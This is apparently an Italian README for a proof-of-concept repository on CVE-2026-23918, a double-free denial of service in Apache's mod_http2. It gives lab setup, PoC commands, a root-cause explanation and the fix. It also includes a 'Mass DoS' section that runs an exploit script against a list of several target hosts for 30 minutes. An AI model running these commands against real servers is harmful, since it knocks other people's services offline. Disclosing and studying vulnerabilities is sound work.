CVE-2026-23918: DoS Apache HTTP/2 Double-Free

CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415: Double Free | CVSS 8.8 | Corretto in 2.4.67

Una vulnerabilità di doppia liberazione (double-free) in mod_http2 (h2_mplx.c) consente a un attaccante remoto di causare una denial of service (crash del worker) tramite rapidi frame RST_STREAM che innescano una race condition tra c1c2_stream_joined() e m_stream_cleanup().

Avvio rapido

# 1. Start the lab
docker-compose up --build -d

# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443

# 3. Watch the crash
docker logs -f apache-lab

# 4. Clean up
docker-compose down -v

Risultato: il server crasha in ~30s–3min con SIGSEGV — DoS affidabile confermato.

Exploit

Utilizzo Mass DoS

# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt

# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7

Cosa sfrutta

La vulnerabilità si innesca quando:

1. Uno stream viene unito sia da c1c2_stream_joined() che da m_stream_cleanup() contemporaneamente
2. Entrambe aggiungono lo stesso stream a m->spurge senza deduplicazione
3. h2_purge_then_destroy() distrugge lo stream due volte → double-free → segfault

Mitigazione

Aggiorna ad Apache 2.4.67 o successivo.

• NVD — CVE-2026-23918
• Avviso di sicurezza Apache

Analisi approfondita

Analisi completa della vulnerabilità, spiegazione della causa principale, note sullo sfruttamento e indicazioni di rimedio: → rhasan.com/CVE-2026-23918

Crediti

Riferimenti

• CWE-415: Double Free
• oss-sec ML

⭐ Metti una stella a questo repository se lo trovi utile!

Stelle